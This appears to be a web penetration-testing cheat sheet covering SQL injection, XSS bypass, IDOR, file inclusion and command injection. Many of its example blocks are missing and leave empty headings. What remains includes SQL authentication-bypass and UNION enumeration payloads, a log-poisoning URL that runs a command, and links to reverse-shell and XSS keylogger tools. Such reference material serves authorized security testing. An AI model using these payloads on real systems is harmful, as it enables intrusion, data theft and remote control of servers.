Page cover

Pentest Web

SQL Injection - MySQL/MariaDB

-> Bypass Authentication

' or 1=1 -- -
admin' -- -
' or 1=1 order by 2 -- -
' or 1=1 order by 1 desc -- - 
' or 1=1 limit 1,1 -- -

-> get number columns

-1 order by 3;#

-> get version

-1 union select 1,2,version();#

-> get database name

-1 union select 1,2,database();#

-> get table name

-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema="<database_name>";#

-> get column name

-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema="<database_name>" and table_name="<table_name>";#

-> dump

Webshell via SQLI

-> view web server path

-> creating webshell

Reading Files via SQLI - MySQL

e.g.

Oracle SQL

-> Bypass Authentication

-> get number columns

-> get table name

-> get column name

-> dump

SQLite Injection

-> extracting table names, not displaying standard sqlite tables

-> extracting table users

-> Reference https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdfarrow-up-right

MSSQL Injection

-> Bypass Authentication

-> get version+delay

-> Enable xp_cmdshell

-> RCE

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1arrow-up-right

Abuse MSSQL

-> edit Invoke-PowerShellTcp.ps1, adding this:

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1arrow-up-right

Cross-Site Scripting

1-> Identify the language and frameworks used 2-> Identify entry points (parameters, inputs, responses reflecting values you can control, etc) 3-> Check how this is reflected in the response via source code preview or browser developer tools 4-> Check the allowed special characters

5-> Detect if there are filters or blockages and modify as needed to make it work

Wordlists for XSS Bypass

https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/wordlists/xss_bypass.txtarrow-up-right https://gist.githubusercontent.com/rvrsh3ll/09a8b933291f9f98e8ec/raw/535cd1a9cefb221dd9de6965e87ca8a9eb5dc320/xxsfilterbypass.lstarrow-up-right https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txtarrow-up-right https://raw.githubusercontent.com/payloadbox/xss-payload-list/master/Intruder/xss-payload-list.txtarrow-up-right https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/XSS/XSS-Cheat-Sheet-PortSwigger.txtarrow-up-right

XSS Auditor and XSS Filter

https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.mdarrow-up-right https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.htmlarrow-up-right https://www.chromium.org/developers/design-documents/xss-auditor/arrow-up-right https://portswigger.net/daily-swig/xss-protection-disappears-from-microsoft-edgearrow-up-right https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Headers/X-XSS-Protectionarrow-up-right

XSS Keylogger

https://rapid7.com/blog/post/2012/02/21/metasploit-javascript-keylogger/arrow-up-right https://github.com/hadynz/xss-keyloggerarrow-up-right

XSS Mutation

http://www.businessinfo.co.uk/labs/mxss/arrow-up-right

XSS Poliglote

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglotarrow-up-right

Regex Blacklist Filtering

-> Filter blocking on - Bypass (on\w+\s*=)

Keyword Based in Filter

Alert Blocked - Bypass

Removing script Tag - Bypass

Scaping Quote

Methods

-> String.fromCharCode() -> unescape

e.g. -> decode URI + unescape method (need eval)

Other bypass techniques

-> unicode

Add execution sink: -> eval -> setInterval -> setTimeout

-> octal

-> hexadecimal

-> mix (uni, hex, octa)

https://checkserp.com/encode/unicode/arrow-up-right http://www.unit-conversion.info/texttools/octal/arrow-up-right http://www.unit-conversion.info/texttools/hexadecimal/arrow-up-right

Other Examples

HTML Tag

->

HTML Tag Attributes

->

Script Tag

->

Event Attributes

->

Dom Based

->

JavaScript Encoding

-> jjencode https://utf-8.jp/public/jjencode.htmlarrow-up-right -> aaencode https://utf-8.jp/public/aaencode.htmlarrow-up-right -> jsfuck http://www.jsfuck.com/arrow-up-right -> Xchars.js https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.htmlarrow-up-right

Decoder - Obfuscation (Javascript Decoder and PHP)

https://malwaredecoder.com/arrow-up-right

XSS to LFI

XSS - Session Hijacking

-> Examples

Template - Nuclei

https://raw.githubusercontent.com/esetal/nuclei-bb-templates/master/xss-fuzz.yamlarrow-up-right

Git Exposed

https://github.com/arthaud/git-dumperarrow-up-right

Tools

https://github.com/internetwache/GitToolsarrow-up-right

Broken Access Control - IDOR (Insecure Direct Object References)

  1. Search listing of Id's in requests and in case you don't find create at least two accounts and analysis requests involving ID's

  2. Identify access controls in the application

  3. Change the request method (GET, POST, PUT, DELETE, PATCH…)

  4. search old versions of API's /api/v1/ /api/v2/ /api/v3/

  5. Try sending a (*) instead of the ID, especially at search points

  6. Brute-force IDs depending on context and predictability

IDOR + Parameter Pollution

HTTP Parameter Pollution

Json Parameter Pollution

-> with a JSON Object

-> with array

Random Case

GET /admin/profile #Unauthorized GET /ADMIN/profile #Authorized

UUIDv1

https://caon.io/docs/exploitation/other/uuid/arrow-up-right https://github.com/felipecaon/uuidv1genarrow-up-right

Others

-> add .json if in ruby

Git Exposed

https://github.com/arthaud/git-dumperarrow-up-right

Tools

https://github.com/internetwache/GitToolsarrow-up-right

Local File Inclusion - LFI

Replace ../ - Bypass

$language = str_replace('../', '', $_GET['file']);

Block . and / - Bypass

-> urlencode and Double urlencode /etc/passwd

PHP Wrappers

Filter PHP

-> Predefined Paths preg_match('/^./okay/.+$/', $_GET['file'])

PHP Extension Bypass with Null Bytes

-> Removing .php

LFI + File Upload

-> gif

https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/blob/main/codes/webshells/shell.gifarrow-up-right -> Zip 1-

2-

Log Poisoning

-> apache

or 1-

2- http://ip/index.php?file=/var/log/apache2/access.log&cmd=idarrow-up-right

-> SMTP

-> SSH

-> PHP session

-> Other Paths

Template LFI and directory traversal - Nuclei

https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/fuzzing/linux-lfi-fuzzing.yamlarrow-up-right https://raw.githubusercontent.com/CharanRayudu/Custom-Nuclei-Templates/main/dir-traversal.yamlarrow-up-right

Wordlists

-> burp-parameter-names.txt - Wordlist for parameter fuzzing https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txtarrow-up-right

-> Wordlist LFI - Linux https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txtarrow-up-right

-> Wordlist LFI - Windows https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txtarrow-up-right

-> bypass_lfi.txt https://github.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/blob/main/wordlists/lfi_bypass.txtarrow-up-right

-> poisoning.txt https://raw.githubusercontent.com/rodolfomarianocy/Tricks-Web-Penetration-Tester/main/wordlists/posoning.txtarrow-up-right

Remote File Inclusion (RFI)

RFI to Webshell with null byte for image extension bypass

RFI to Webshell with txt

OS Command Injection

-> Special Characters

-> Out Of Band - OOB Exploitation

-> Check if the commands are executed by PowerShell or CMD

Shellshock

-> Detection

-> Exploit

WebDAV

-> Connect to WebDAV server and send malicious file to shell

https://github.com/notroj/cadaverarrow-up-right

Last updated